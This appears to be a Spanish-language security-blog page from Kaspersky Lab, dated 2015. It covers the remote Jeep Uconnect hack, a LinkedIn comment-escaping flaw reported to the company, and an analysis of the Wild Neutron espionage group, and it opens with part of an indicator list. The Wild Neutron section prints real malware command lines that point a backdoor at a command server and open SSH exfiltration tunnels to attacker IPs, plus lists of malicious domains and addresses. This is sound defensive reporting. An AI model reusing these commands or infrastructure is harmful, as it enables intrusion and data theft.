b1f56a54309147b07dda54623fecbb89
009d85773d519a9a97129102d8116305

Ladrones de información descargados en 2015

61637a0637fb25c53f396c305efa5dc5
a7e78fd4bf305509c2fc1b3706567acd

Subhosts y URLs:

tisone360.com/img_h/ims2/icon.swf
tisone360.com/img_h/ims2/1.php
tisone360.com/img_h/ims2/icon.jpg
tisone360.com/noname/img/movie.swf
tisone360.com/noname/minky/face.php
tisone360.com/htdoc/ImageView.hta
tisone360.com/htdoc/page1/page.html
daily.enewsbank.net/wmpsrx64
daily.enewsbank.net/newsviewer.hta
saytargetworld.net/season/nextpage.php
sendspace.servermsys.com/wnctprx
error-page.net/update/load.php
photo.storyonboard.net/wmpsrx64
photo.storyonboard.net/photoviewer.hta
photo.storyonboard.net/readme.php
unionnewsreport.net/aeroflot_bonus/ticket.php
www.openofficev.info/xopen88/office2
www.openofficev.info/dec98/unzip.js
www.openofficev.info/open99/office32
www.openofficev.info/decod9/unzip.js

Investigaciones previas y paralelas

Vulnerabilidad CVE-2014-0497 – A 0-day

Hacking Team Flash Zero-Day vinculado a ataques en Corea y Japón… el 1 de julio

El APT Darkhotel

Vulnerabilidades 0-day: ahora en automóviles


  23 julio 2015 | 17:07  MSK

Comentar  

Denís Leguéso
Andréy Nikíshin

Anteayer fue un día importante para la industria de la seguridad informática. Algunos investigadores informaron sobre la explotación de la primera vulnerabilidad de día cero (0-day) para automóviles. Se hizo una demostración del ataque inalámbrico en un Jeep Cherokee.

Charlie Miller y Chris Valasek descubrieron la vulnerabilidad en el sistema informático instalado en el automóvil. Hace tiempo que se sabía que era posible hacer ataques similares si el delincuente tenía acceso al conector de diagnóstico. Sin embargo, el ataque remoto a los sistemas críticos del vehículo era sólo una posibilidad teórica, sobre la cual los expertos (entre ellos los de Kaspersky Lab) habían advertido tiempo atrás. Muchas personas esperaban que los fabricantes de automóviles estuvieran conscientes de los riesgos de explotación de estas vulnerabilidades y que evitarían que aparezcan. Pero estas esperanzas fueron vanas.

A través del sistema de entretenimiento, los investigadores no sólo obtuvieron acceso a parámetros que no tienen importancia crítica, sino también a la conducción del vehículo. Los investigadores planean publicar los detalles técnicos de su incursión en agosto, pero ya ahora se conoce el escenario general según el cual se desarrollaron los acontecimientos.

Hackeo del vehículo

Al principio el conductor perdió el control sobre el aire acondicionado, la radio y los limpiaparabrisas, que parecían haberse vuelto locos. Y después perdió el control del vehículo. El acelerador y el freno obedecían solo a los desarrolladores, que estaban lejos, y no al dueño que estaba al volante.

Merece la pena destacar que el automóvil no había sido modificado. Todo lo descrito se hizo a través de una vulnerabilidad en el sistema Uconnect, instalado a bordo de los automóviles de la corporación FCA, y que se conecta al mundo externo mediante la infraestructura del operador de telefonía celular Sprint. Basta con saber la dirección IP externa de la víctima para suplantar un código en el sistema informático del vehículo (sobre estos aparatos escribiremos un poco más adelante).

La corporación ya ha publicado un parche de software para Uconnect, que se puede instalar en las distribuidoras oficiales o lo puede hacer el usuario por su cuenta mediante el puerto USB, si tiene los conocimientos técnicos necesarios. Por el momento, los investigadores pueden conectarse a la red Sprint y usar la vulnerabilidad de día cero para ver el VIN, las coordenadas GPS y la dirección IP de los automóviles. Por otra parte, según los investigadores, es muy difícil encontrar un vehículo en particular entre los 471.000 que tienen instalado Uconnect.

Kaspersky Lab: concepto de protección

Este no es el primer incidente que revela los defectos de los mecanismos de seguridad integrados de forma predeterminada en los automóviles modernos. Antes de este caso, ya habíamos visto la intercepción local mediante el conector de diagnóstico OBD-II y la suplantación de las actualizaciones de software por medio de una estación celular básica falsa.

Al igual que los productores de sistemas operativos, las corporaciones fabricantes de automóviles implementan mecanismos de seguridad que son importantes, imprescindibles, pero no suficientes. La situación se hace todavía más compleja porque la arquitectura de la red electrónica de a bordo fue diseñada a mediados de los años ochenta, cuando sólo los escritores de ciencia ficción imaginaban que un automóvil se podría conectar a Internet. Y, por consiguiente, a pesar de que los componentes electrónicos son confiables y de operación segura, no podemos decir lo mismo de su protección contra las amenazas cibernéticas. Nosotros, en Kaspersky Lab, estamos seguros de que una seguridad completa y multinivel la puede brindar sólo la combinación de una arquitectura correcta (diseñada tomando en consideración todos los riesgos, entre ellos los riesgos cibernéticos), la configuración de los medios preinstalados y la instalación de soluciones especializadas. Es decir, el mismo método que usamos para proteger las redes informáticas tradicionales.

Arquitectura

El enfoque de Kaspersky Lab se fundamenta en dos principios arquitectónicos: el aislamiento y el control de las comunicaciones.

El aislamiento garantiza que dos entidades independientes no influyan de ninguna manera la una en la otra. Por ejemplo, las aplicaciones de entretenimiento no podrán influir en la red tecnológica. Ni a bordo de un avión, ni de un automóvil.

El control de las comunicaciones garantiza que dos entidades independientes que tienen que interactuar durante el funcionamiento del sistema, lo hagan siguiendo las políticas de seguridad. Por ejemplo, que el sistema encargado de recolectar datos telemétricos y de enviarlos al centro de servicio sólo pueda leer los datos del estado del automóvil, pero no enviar instrucciones de operación. Este control le hubiera sido muy útil al dueño del Jeep.

El uso de criptografía y autentificación para transmitir y recibir información de afuera también es una parte imprescindible de un sistema protegido. Pero, a juzgar por los resultados obtenidos por los investigadores, en el Jeep se usaban algoritmos débiles, o la criptografía estaba implementada con errores.

El enfoque descrito –de aislamiento y control de comunicaciones- se integra de forma natural en la arquitectura micronúcleo de un sistema operativo que cuente con una interacción controlada entre procesos. Cada dominio lógico recibe su propio espacio de direcciones y toda la comunicación entre dominios siempre se realiza mediante el monitor de seguridad.

Productos

Los nodos de electrónica a bordo que controlan funciones de importancia crítica del automóvil y que teóricamente corren peligro de ataque son la unidad principal (head unit, HU) y las unidades electrónicas de control (electronic control unit, ECU) que conforman una completa red de controladores. Son los bloques de control del motor, la transmisión, la amortiguación, etc.

Las unidades principales funcionan con sistemas operativos de tiempo real (real time operating systems (RTOS) QNX, VxWorks y otros). Kaspersky Lab está dispuesto a ofrecer su propio sistema operativo protegido para unidades principales una vez que obtenga todos los certificados necesarios.

Los dos principios arquitectónicos mencionados más arriba (el aislamiento y el control de comunicaciones) son los principios fundamentales del funcionamiento de KasperskyOS, un sistema operativo micronúcleo con control de las interacciones entre procesos.

Hemos creado este sistema operativo desde cero y desde el principio la seguridad fue su prioridad fundamental. Esta es la principal diferencia del diseño de nuestro sistema operativo con los que ahora están instalados a bordo de los automóviles. Hemos bautizado al principal componente del sistema operativo seguro Kaspersky Security System (KSS).

Este entorno en tiempo de ejecución es responsable de dar un veredicto de seguridad a los diferentes sucesos que ocurren en el sistema. Basándose en este veredicto, el núcleo del sistema operativo toma la decisión de permitir o bloquear el suceso o interacción entre procesos. Con la ayuda de KSS se puede controlar cualquier actividad: acceso a los puertos, archivos, recursos de red mediante determinadas aplicaciones, etc. En el presente, KSS funciona en PikeOS y Linux.

En lo que concierne a los bloques electrónicos de control, que sólo cuentan con un pequeño firmware, Kaspersky Lab también está dispuesto a trabajar conjuntamente con los desarrolladores de microelectrónica para brindar seguridad a este tipo de software integrado.

En lugar de conclusión

Es muy difícil dejar de disfrutar de todas las comodidades que nos ofrece la computarización de los automóviles. Pero si los fabricantes de vehículos no se ocupan en serio del problema de la seguridad cibernética de los automóviles conectados a internet y no empiezan a exigir lo mismo a los fabricantes de componentes para automóviles, entonces las personas que se preocupan por su propia seguridad se verán obligadas a usar automóviles clásicos. Sí, porque en los automóviles antiguos no hay ordenadores. Y sí, tampoco tienen inyección automática, sistemas de navegación, control de clima y otros accesorios de moda. Pero tienen algo de bueno: sólo obedecen al humano que está al volante.

Investigadores de Kaspersky alertan a Linkedin sobre potenciales ataques spear-phishing


  Ido Naor       23 julio 2015 | 10:25  MSK

Comentar  

El 14 de noviembre de 2014, los investigadores en seguridad de Kaspersky Lab alertaron a LinkedIn, la red social profesional más grande del mundo, sobre un problema de seguridad que podría poner en riesgo a sus más de 360 millones de usuarios. Puesto que LinkedIn atrae a tantos profesionales y empresarios, una falla de seguridad como esta podría permitirles a los atacantes ejecutar de forma eficiente campañas spear-phishing, robar credenciales y potencialmente controlar a distancia a sus víctimas seleccionadas sin tener que recurrir a la ingeniería social.

Linkedin se comprometió a remediar esta amenaza y ha publicado una reparación para la vulnerabilidad en su plataforma.

“Aunque deben restringirse algunos contenidos HTML, ya hemos publicado una reparación y hemos agradecido a los expertos de Kaspersky por su colaboración; resulta improbable ejecutar un exploit en las modernas plataformas de correo electrónico”. señala David Cintz, Gerente Senior de Programas Técnicos del ecosistema de seguridad de Linkedin.

Los investigadores encontraron esta vulnerabilidad después de notar diferencias cuando publicaban un mensaje desde diferentes dispositivos en varias publicaciones. La segunda llamada de atención fue una falla en el analizador sintáctico secundario de la plataforma que interpretaba una CRLF (entrada de tecla) como una etiqueta HTML <br />, y la añadía a la publicación como texto. Ninguna tenía conexión con la otra, pero ambas planteaban importantes interrogantes.

Si bien puede sonar irrelevante, los ciberpiratas están atentos a pequeñas fallas como esta. Al observar ambos comportamientos, los investigadores estaban convencidos de que algo andaba mal. Al parecer, nadie lo había notado. Se requería de la ayuda de un experto para armar las piezas del rompecabezas.

Pulsación de la tecla INTRO pulsada que se interpreta como el elemento <br /> en texto simple

El envío de múltiples publicaciones desde un navegador web logró imitar un comportamiento parcial de las diferencias en el escaping (secuencia de escape), pero no había pistas sobre cómo evadir el motor anti-XSS (Cross Site Scripting) para generar un ataque.

Investigaciones posteriores condujeron a un importante descubrimiento. Había una razón por la que la salida desde un dispositivo no se cifraba de la misma manera que la otra.

El envío de comentarios con etiquetas HTML desde una plataforma web generaba %3C como el carácter “menos que”, mientras que el mismo envío desde un dispositivo móvil generaba &lt;. Nuevas inspecciones demostraron la presencia de dos plataformas distintas. Pero eso no significaba que la plataforma web fuese vulnerable. ¿O sí?

Otro aspecto interesante era que cada comentario de una publicación se envía por una plataforma de correo a los usuarios que participaron comentando. Las diferencias en el cuerpo de ese mensaje de correo confirmaron nuestras sospechas. Las siguientes capturas de pantalla ilustran ambos escenarios:

Comentario publicado desde el sitio web con escaping adecuado

Un comentario publicado desde una aplicación móvil sin escaping

Esto prueba que existen dos plataformas de correo diferentes y que las notificaciones desde dispositivos móviles pueden llevar cargas maliciosas sin necesidad de validar las introducciones de los usuarios.

Mensaje de correo firmado que rebotó desde LinkedIn sin importar su contenido

Las plataformas sociales son un blanco muy atractivo para los ciberpiratas. Las compañías en general suelen ser atacadas a diario por hackers legítimos en su intento de obtener su parte de la seguridad en Internet. Pero, ¿qué pasa si un hacker ilegítimo encuentra una falla?

El siguiente cuadro nos permite evaluar la forma en que este tipo de problemas de seguridad pueden ayudarle a un atacante a encontrar la manera de distribuir sus programas maliciosos camuflados como notificaciones legítimas de plataformas sociales.

Ciclo genérico de propagación de programas maliciosos

Los autores de programas maliciosos invierten mucho tiempo en alcanzar cada uno de estos hitos. Cada paso tiene un gran impacto en el resultado final: una programación sólida que puede adaptarse a múltiples sistemas/dispositivos, empacadores y carpetas, ofuscación y codificación, combinando el reconocimiento con el método adecuado de propagación y encontrando la vulnerabilidad día-cero o el exploit adecuado para controlar el sistema a distancia.

Para economizar su valioso tiempo, los atacantes encuentran formas astutas de acercarse a los autores y comprarles lo que requieren para cada hito, como si se tratara de artículos en un supermercado.

La lista de sus adquisiciones para este tipo de ataques puede llegar a ser muy costosa. Una plataforma social para profesionales que brinda información sobre millones de sus usuarios, sus títulos, colegas, historial profesional, y otros datos, puede ser de gran valor. No es difícil apuntar a un usuario en particular, queda nada más que a un comentario de distancia.

Elige tu víctima

La inyección de un comentario malicioso en el hilo de comentarios de una publicación enviará automáticamente una notificación al correo del usuario dueño de la publicación, cualquiera que sea su proveedor de correo o la jerarquía de conexión entre la víctima y el hacker.

Aunque parezca que el servidor de la aplicación ha hecho el “escaping” de los caracteres peligrosos, sólo se ha hecho el “escaping” de la carga en la aplicación principal. La plantilla del mensaje de correo se envía tal cual.

Inyección de carga maliciosa mediante la aplicación móvil

En el peor de los casos, si un proveedor de correo no logra hacer adecuadamente el “escaping” del contenido de un mensaje entrante, el atacante puede empeorar el problema lanzando un ataque para inyectar un JavaScript malicioso, también conocido como Stored XSS.

Otro escenario puede involucrar el uso de un formulario HTML asociado para recopilar información sobre la víctima o desviarla a un sitio desde donde se descargará un ejecutable malicioso.

Ejemplo de escenario: robo de credenciales

En noviembre, los investigadores de Kaspersky Lab alertaron a los responsables de seguridad de LinkedIn sobre este problema. Repararon la plataforma y solucionaron el problema.

Cómo evitar convertirte en víctima:

  1. Usa una avanzada solución de seguridad para navegar en Internet, que sea capaz de filtrar desvíos peligrosos hacia servidores que contienen programas maliciosos, phishing y otros. Si ya cuentas con una solución, mantenla siempre actualizada.
  2. Ten cuidado al abrir un adjunto o activar un enlace incluidos en un mensaje de correo, incluso de un remitente confiable, pues podrían contener una carga maliciosa. Debes desconfiar antes de abrirlos.
  3. No te inscribas en plataformas sociales con tu dirección de correo corporativa.

Agradecimientos:

Jonathan Jaquez – CEO, Mageni.net

David Cintz – Sr. Technical Program Manager, Linkedin


Wild Neutron - El actor de espionaje económico regresa con nuevos trucos


  Global Research & Analysis Team (GReAT), Kaspersky Lab       16 julio 2015 | 12:44  MSK

Comentar  

Ataca usando certificados robados de Acer y un exploit de Flash Player

Indicators of Compromise (IOC)

El poderoso actor Wild Neutron (también conocido como “Jripbot” y “Morpho“) ha estado activo al menos desde 2011, infectando compañías de alto perfil por varios años con una combinación de exploits, abrevaderos y malware de plataformas múltiples.

La última ronda de ataques en 2015 usa un certificado para firmar códigos que pertenece al fabricante de electrónicos Acer y un exploit desconocido de Flash Player.

Wild Neutron tomó predominancia en 2013, cuando infectó con éxito a compañías como Apple, Facebook, Twitter y Microsoft. El ataque aprovechó un exploit de día cero de Java y usó los foros comprometidos como abrevaderos. El incidente de 2013 tuvo mucha publicidad y, como resultado, la amenaza se desconectó por casi un año.

A finales de 2013 y principios de 2014, los ataques volvieron a aparecer y continuaron durante 2015. Los blancos de los nuevos ataques incluyen:

  • Bufetes de abogados
  • Empresas de Bitcoins
  • Compañías inversoras
  • Grandes grupos corporativos involucrados a menudo en fusiones y adquisiciones
  • Compañías informáticas
  • Empresas de salud
  • Bienes raíces
  • Usuarios individuales

El foco de estos ataques sugiere que este no es un actor patrocinado por un estado-nación. Sin embargo, el uso de vulnerabilidades de día cero, malware de plataformas múltiples y otras técnicas nos hace creer que es una entidad poderosa involucrada en espionaje, tal vez por razones económicas.

Operaciones antiguas (2013)

Durante los ataques de 2013, el actor Wild Neutron comprometió y utilizó el sitio web www.iphonedevsdk[.]com, un foro de desarrolladores de iPhone.

Los atacantes inyectaron un script en el foro que redirigía a los visitantes a otro sitio web (min.liveanalytics[.]org – que Kaspersky Lab ya tiene aislado en un sumidero) que alojaba un exploit de día cero de Java. Un ataque similar también se encontró en otro foro dedicado a desarrolladores de Linux: fedoraforum[.]org. Para un análisis más detallado de estos ataques de 2013, visita el blog de Eric Romang.

Otros foros comprometidos por el grupo Wild Neutron e identificados en informes de Kaspersky Security Network son:

  • expatforum.com
  • mygsmindia.com
  • forum.samdroid.net
  • emiratesmac.com
  • forums.kyngdvb.com
  • community.flexispy.com
  • ansar1.info

Dos de ellos llaman la atención en particular: “community.flexispy[.]com” y “ansar1[.]info“. El primero es una comunidad manejada por Flexispy, una compañía que vende programas espías para dispositivos móviles. El segundo es un foro yihadista que ahora está cerrado.

Wild Neutron repartía inyecciones con ansar1[.]info en 2013

En 2013, los atacantes también tomaron el control de una puerta trasera de Mac OS X conocida como OSX/Pintsized. Esto también se describe en detalle en el magnífico blog de Eric Romang. La misma puerta trasera, compilada para Win32, sigue usándose en los ataques de 2015.

Algunas de las víctimas más prominentes del ataque de 2013 fueron Twitter, Facebook, Apple y Microsoft. La prensa hizo un amplio seguimiento de estas intrusiones y algunas de las compañías afectadas publicaron declaraciones sobre lo ocurrido (aquí puedes ver las declaraciones de Facebook).

No es común que se ataque a grandes compañías como Facebook, Twitter, Apple y Microsoft, pero tampoco es del todo único. Pero la falta de víctimas en otros sectores, como instituciones diplomáticas y gubernamentales, sí es inusual. Esto nos hace pensar que no se trata de un ataque patrocinado por un gobierno.

Análisis técnico

El malware que usa el actor de amenazas Wild neutron tiene varios grupos de componentes, entre ellos:

  • Un módulo de puerta trasera que inicia las comunicaciones con un servidor C&C
  • Varios módulos de recolección de información
  • Herramientas de explotación
  • Herramientas de exfiltración basadas en SSH
  • Cargadores intermediarios y descargadores que descifran y ejecutan las cargas nocivas

Aunque personalizados, algunos módulos parecen tener una fuerte base en herramientas de código abierto (por ejemplo, el descargador de contraseñas se asemeja al código de herramientas Mimikatz y Pass-The-Hash) y malware comercial (el módulo proxy HTTPS es casi idéntico al que usa Hesperbot).

Todas las comunicaciones C&C están cifradas con un protocolo personalizado. Los ejecutables que se descargan, así como algunas de las cadenas de caracteres integradas en el código, suelen estar ofuscadas con XOR (depende de la versión del bot). El módulo principal de la puerta trasera contiene varias técnicas de evasión diseñadas para detectar y detener las cajas de arena y motores de emulación.

Explotación - 2015

El vector inicial de infección de los ataques de 2014-2015 sigue sin conocerse, aunque hay indicaciones claras de que se explota a las víctimas con paquetes que aprovechan un exploit desconocido de Flash Player.

En uno de los ataques se encontró la siguiente cadena de explotación:

Sitiohxxp://cryptomag.mediasource.ch/
Rutas/favicon.ico
/msie9html5.jpg
/loader-large.gif
/bootstrap.min.css
/stats.js?d=1434374526478
/autoload.js?styleid=20&langid=5&sid=883f2efa&d=1434374526
/banner.html?styleid=19&langid=23&sid=883f2efa&d=1434374526
/883f2efa/bniqligx.swf?styleid=4&langid=6&sid=883f2efa&d=1434374533
/883f2efa/pzixfgne?styleid=5&langid=25&sid=883f2efa&d=1434374533
/883f2efa/bniqligx.swf?styleid=4&langid=6&sid=883f2efa&d=1434374533/
/background.jpg

Parece que el subdominio cryptomag.mediasource[.]ch se creó para este ataque; dirigía a una dirección IP asociada con otros C&Cs de Wild Neutron, que aparecen resaltados de rojo abajo:

Anfitriones que responden a 66.55.133[.]89

Mientras que app.cloudprotect[.]eu y ssl.cloudprotect[.]eu son dos C&Cs conocidos de Wild Neutron, cryptomag.mediasource[.]ch parece apuntar a esta IP con el propósito de explotarla. Puede observarse otro dominio sospechoso arriba, secure.pdf-info[.]com. Todavía no hemos visto ningún ataque vinculado con este nombre de dominio, pero el esquema del nombre indica que también es malicioso.

En otro ataque, observamos una cadena de explotación similar, pero alojada en otro sitio web, hxxp://find.a-job.today/.

En ambos casos, los visitantes habían buscado el sitio web o llegado a él mediante un anuncio en Internet. En ambos casos aparece “autoload.js”, que redirige a otro fichero con un nombre HTML generado al azar, que después carga un fichero SWF de nombre aleatorio.

Mientras que el grupo usó ataques abrevadero en 2013, todavía no se sabe cómo se redirigió a las víctimas a los paquetes de explotación en los nuevos ataques de 2014 a 2015. En vez de exploits Flash, los abrevaderos y versiones más antiguas de Wild Neutron usaban a finales de 2012 y principios de 2013 una vulnerabilidad de día cero de Java que los productos Kaspersky Lab detectan como Exploit.Java.CVE-2012-3213.b.

El instalador de malware principal

La funcionalidad del instalador principal es simple: descifra el ejecutable de la puerta trasera (guardado como recurso y cifrado con un XOR 0x66 simple), lo escribe en una ruta específica y lo ejecuta con parámetros que están codificados de forma rígida en el cuerpo del instalador. Uno de los parámetros es la dirección URL del servidor C&C, mientras que otros contienen varias opciones de configuración del bot.

Ejemplos de parámetros que usa el instalador:

igfxupt.exe https://app.cloudprotect[.]eu:443 /opts resolv=logs.cloudprotect[.]eu

Después de ejecutar la puerta trasera, el instalador se elimina de forma segura al sobreescribir su contenido con números aleatorios varias veces antes de cambiar el nombre del archivo y eliminarlo.

La puerta trasera principal (también conocida como “Jripbot")

Este binario está ejecutado con la dirección URL del servidor C&C como parámetro; también puede recibir una configuración de bot opcional. Después se hace un doble cifrado a esta información – primero con RC4 y después con la función Windows CryptProtectData – y se la guarda en el registro.

Antes de realizar cualquier otra actividad, el malware ejecuta su código de estancamiento (diseñado para huir de los emuladores), después realiza varias revisiones en busca de cajas de arena y entra en un bucle infinito si encuentra programas no deseados ejecutándose en el sistema.

De lo contrario, recolecta información básica del sistema:

  • Versión del sistema operativo
  • Si el programa se ejecuta bajo WOW64
  • Si el usuario actual tiene privilegios de administrador
  • Las características de seguridad de Windows que están activadas
  • Nombre de usuario y nombre de ordenador
  • Nombre del servidor y grupo LAN
  • Información sobre controladores lógicos
  • Tiempo de actividad e inactividad del sistema
  • Navegador web predeterminado
  • Configuración Proxy

En base a esta información, el malware genera una identificación única para la víctima e inicia la comunicación con el C&C enviando el valor ID y esperando sus órdenes.

Las opciones de configuración de la puerta trasera pueden incluir la dirección y credenciales del servidor proxy, valores de suspensión/retraso y tipo de conexión, pero la más interesante es la opción resolv=[url]. Si esta opción está activa, el malware genera un nombre de dominio que consiste en un nombre de ordenador, ID única y URL que se pasa con esta opción; después trata de resolver la dirección IP de este dominio. Sospechamos que este es el método que los atacantes usan para enviar el UID generado al C&C.

El C&C puede ordenar al bot que realice las siguientes acciones:

  • Cambiar el directorio actual al solicitado
  • Ejecutar un comando arbitrario en la línea de comandos
  • Establecer por sí mismo el valor autorun en el registro
  • Eliminar por sí mismo el valor autorun del registro
  • Destruir el fichero solicitado (sobreescribir el contenido del fichero con números al azar, sobreescribir el nombre del fichero con ceros y eliminarlo)
  • Descargar un fichero de Internet y guardarlo (puede ser cifrado) al disco
  • Instalar o desinstalar complementos de malware adicionales
  • Recolectar y enviar información del sistema
  • Enumerar controladores
  • Establecer el valor de tiempo de suspensión
  • Actualizar la configuración
  • Actualizarse a sí mismo
  • Salir

Versiones más antiguas de esta puerta trasera, que se usaron en los ataques de 2013, tenían unas cuántas funcionalidades más:

  • Recolectar contraseñas
  • Escanear puertos
  • Tomar capturas de pantalla
  • Enviar ficheros a un C&C
  • Shell inversa

Estas características se eliminaron de las nuevas versiones de la puerta trasera que se usaron en los ataques más recientes. Los desarrolladores de malware decidieron implementar un mecanismo de plugin en su lugar y ejecutar diferentes herramientas para las diferentes tareas. Esto indica un vuelco claro hacia una arquitectura modular más flexible.

En cuestiones de funcionalidad, la puerta trasera no difiere de muchas otras Herramientas de Acceso Remoto (RATs). Lo que más llama la atención es el cuidado del atacante para esconder la dirección C&C, cifrándola en el registro con información que depende del equipo. También es notable su habilidad de recuperarse de cierres de C&C al ponerse en contacto con un nombre de dominio generado de forma dinámica que sólo los atacantes conocen con anterioridad, ya que tiene una conexión directa con cada una de las víctimas.

Las marcas de tiempo indican que la distribución de los ejemplares es de la siguiente manera:

Parece que cada puerta trasera contiene un número de versión interno, que oscila entre 11000 y 16000 en los ejemplares más recientes. Esto nos permite rastrear el siguiente mapa evolutivo:

Puertas traseras usadas en los ataques de 2013:


MD5Marca de tiempoVersiónFilenameTamaño
1582d68144de2808b518934f0a02bfd629 Nov 201211000javacpl.exe327168
14ba21a3a0081ef60e676fd4945a8bdc30 Nov 201212000javacpl.exe329728
0fa3657af06a8cc8ef14c445acd92c0f09 Jan 201313000javacpl.exe343552

Backdoors used in 2014 and 2015 attacks:

MD5Marca de tiempoVersiónFilenameTamaño
95ffe4ab4b158602917dd2a999a8caf813 Dec 201314014LiveUpdater.exe302592
342887a7ec6b9f709adcb81fef0d30a320 Jun 201415013FlashUtil.exe302592
dee8297785b70f490cc00c0763e31b6902 Aug 2013
(possibly fake)
16010IgfxUpt.exe291328
f0fff29391e7c2e7b13eb4a806276a8427 Oct 201416017RtlUpd.exe253952

Los instaladores también tienen un número de versión que indica la siguiente evolución:

MD5Marca de tiempoVersión
1f5f5db7b15fe672e8db091d9a291df016 Dec 20111.4.1
48319e9166cda8f605f9dce36f115bc828 Sep 20121.5.0
088472f712d1491783bbad87bcc17c4812 Apr 20131.6.3
ee24a7ad8d137e54b854095188de0bbf07 Jan 20141.6.4

Movimiento lateral

Después de instalar la puerta trasera principal y establecer comunicaciones C2 iniciales, los atacantes utilizan varias herramientas diferentes para extraer datos privados y controlar el equipo de la víctima. Estas herramientas incluyen un troyano recolector de contraseñas, una puerta trasera shell inversa e implementaciones personalizadas de OpenSSH, WMIC y SMB. A veces, sólo descargan un shell inverso perl y usan varios métodos de recolección para conseguir las credenciales de un grupo de equipos, escalar privilegios y desplazarse en una red. Además de estas herramientas, hay pequeños módulos de herramientas con diferentes capacidades, desde herramientas de carga y configuración hasta destructores de ficheros y proxies de red.

También vale la pena notar que este actor de ataque depende mucho de códigos existentes porque usa aplicaciones de código abierto disponibles al público y herramientas de metasploit y fuentes de malware filtrados, para construir su propio set de herramientas. Algunas de estas herramientas están diseñadas para funcionar con Cygwin y se unen al Cygwin API DLL, lo que podría indicar que los atacantes se sienten más cómodos cuando trabajan en un ambiente como el de Linux.

Puerta trasera de túnel SSH

Durante los ataques de 2014/2015, observamos que los atacantes desplegaban puertas traseras Win32 de túnel personalizadas y basadas en OpenSSH que se usan para exfiltrar grandes cantidades de datos de una forma confiable. Estas puertas traseras de túnel están escritas como “updt.dat” y ejecutadas con dos parámetros, -z and -p. Especifican la IP y puerto al que se debe conectar. A pesar del número de puerto 443, la conexión es SSH:

  • /d /u /c updt.dat -z 185.10.58.181 -p 443
  • /d /u /c updt.dat -z 46.183.217.132 -p 443
  • /d /u /c updt.dat -z 217.23.6.13 -p 443

La puerta trasera SSH de túnel contiene una llave RSA privada integrada de forma rígida en el código.

Certificado robado

Durante los ataques de 2015, Wild Neutron usó un instalador firmado con un certificado de Acer robado, pero válido.

Firma de Acer en un instalador Wild Neutron

El certificado abusado tiene las siguientes propiedades:

Número de serie: 5c c5 3b a3 e8 31 a7 df dc 7c 28 d5 15 8f c3 80
Huella digital: 0d 85 91 41 ee 9a 0c 6e 72 5f fe 6b cf c9 9f 3e fc c3 fc 07

Parece que el instalador (dbb0ea0436f70f2a178a60c4d8b791b3) se firmó el 13 de junio de 2015. Instala una puerta trasera Jripbot como “IgfxUpt.exe” y la configura para usar el C&C “app.cloudprotect[.]eu”.

Hemos estado trabajando con Symantec, Verisign y Acer para revocar los certificados comprometidos.

Víctimas y estadísticas

Da la impresión que los ataques de Wild Neutron se dirigen a víctimas muy específicas. En nuestra investigación, identificamos a varias víctimas en 11 países y territorios:

  • Francia
  • Rusia
  • Suiza
  • Alemania
  • Austria
  • Palestina
  • Eslovenia
  • Kazajistán
  • Emiratos Árabes Unidos
  • Algeria
  • Estados Unidos

Las víctimas de las versiones 2014-2015 suelen ser compañías de informática y bienes raíces/inversiones, y en todos los casos sólo se afectó a una pequeña cantidad de ordenadores de las organizaciones. Parece que los atacantes han actualizado el implante de malware y desplegado herramientas adicionales. Sin embargo, no hemos visto ningún movimiento lateral llamativo en estos casos.

Atribución

El ataque a varias compañías que no tienen un enfoque gubernamental nos hace creer que ésta no es una APT patrocinada por un gobierno. Los atacantes también han mostrado un interés en los usuarios que trabajan con inversiones, lo que demuestra que tienen una base de conocimientos y habilidades que les permiten explotar esta información en el mercado para convertirlo en una ventaja financiera.

En algunos casos, la configuración cifrada incluye una cadena de caracteres en rumano que se usa para marcar el fin de las comunicaciones C&C:

Es curioso que “La revedere” significa “adiós” en rumano. Además, encontramos otra cadena de caracteres que es la transcripción latina de la palabra rusa Успешно (“uspeshno” -> “con éxito”); esta cadena se escribe después de ejecutar una de las órdenes del C2.

Uno de los ejemplares tiene el nombre interno "WinRAT-Win32-Release.exe". Esto indica que el autor ha llamado al malware "WinRAT".

Los clientes de Kaspersky Intelligence Services tienen a su disposición más información sobre la atribución de Wild Neutron. Para solicitarla, puedes escribir a: intelreports@kaspersky.com

Conclusiones

Wild Neutron es uno de los grupos más inusuales que he analizado y rastreado. Activo desde 2011, ha estado usando al menos un exploit de día cero, malware personalizado y herramientas que le permitieron mantener una operación de seguridad bastante sólida que hasta ahora va más allá de los esfuerzos de atribución. El que ataquen a grandes compañías de informática, desarrolladores de programas espía (FlexiSPY), foros de jihadistas (el “Ansar Al-Mujahideen English Forum”) y compañías de Bitcoin indica una mentalidad e intereses flexibles, unque inusuales.

Algunas de las características distintivas del grupo son:

  • Uso de herramientas de código abierto y fuentes filtradas de otros programas maliciosos
  • Uso de certificados robados de Acer Incorporated para firmar malware
  • Uso de exploits del día cero de plataformas cruzadas (Java y Flash), seguidos por una carga explosiva compuesta por un shell inverso (Perl) de plataformas cruzadas para la intrusión inicial
  • Uso de un código *NIX en Windows mediante Cygwin
  • Uso pesado de SSH para exfiltraciones, una herramienta de administración *NIX de uso común.
  • Uso de API CryptProtectData para mantener las URL C&C en secreto
  • Una interfaz simple de comandos de línea, construida en torno a todos los componentes del malware y que utiliza las canalizaciones con nombre para establecer comunicaciones entre módulos
  • Herramientas auxiliares están escritas en C y la mayoría de ellas contiene ayuda integrada, que puede imprimirse ejecutando el binario con un parámetro “–pleh”

Seguimos rastreando al grupo Wild Neutron, que sigue activo en junio de 2015.

Los productos Kaspersky detectan al malware que se usa en los ataques como:

HEUR:Trojan.Win32.WildNeutron.gen, Trojan.Win32.WildNeutron.*, Trojan.Win32.JripBot.*, HEUR:Trojan.Win32.Generic

Aquí puedes leer más sobre cómo los productos Kaspersky Lab pueden protegerte de la amenaza de Wild Neutron:
Wild Neutron está suelto: podrías ser su próxima víctima

Indicadores de infección (IOCs)

Hostnames y dominios maliciosos conocidos:

ddosprotected.eu
updatesoft.eu
app.cloudprotect.eu
fw.ddosprotected.eu
logs.cloudprotect.eu
ssl.cloudprotect.eu
ssl.updatesoft.eu
adb.strangled.net
digitalinsight-ltd.com
ads.digitalinsight-ltd.com
cache.cloudbox-storage.com
cloudbox-storage.com
clust12-akmai.net
corp-aapl.com
fb.clust12-akmai.net
fbcbn.net
img.digitalinsight-ltd.com
jdk-update.com
liveanalytics.org
min.liveanalytics.org
pop.digitalinsight-ltd.com
ww1.jdk-update.com
find.a-job.today
cryptomag.mediasource.ch

IPs maliciosas conocidas:

185.10.58.181
46.183.217.132
64.187.225.231
62.113.238.104
66.55.133.89
217.23.6.13

Nombres conocidos de ficheros:

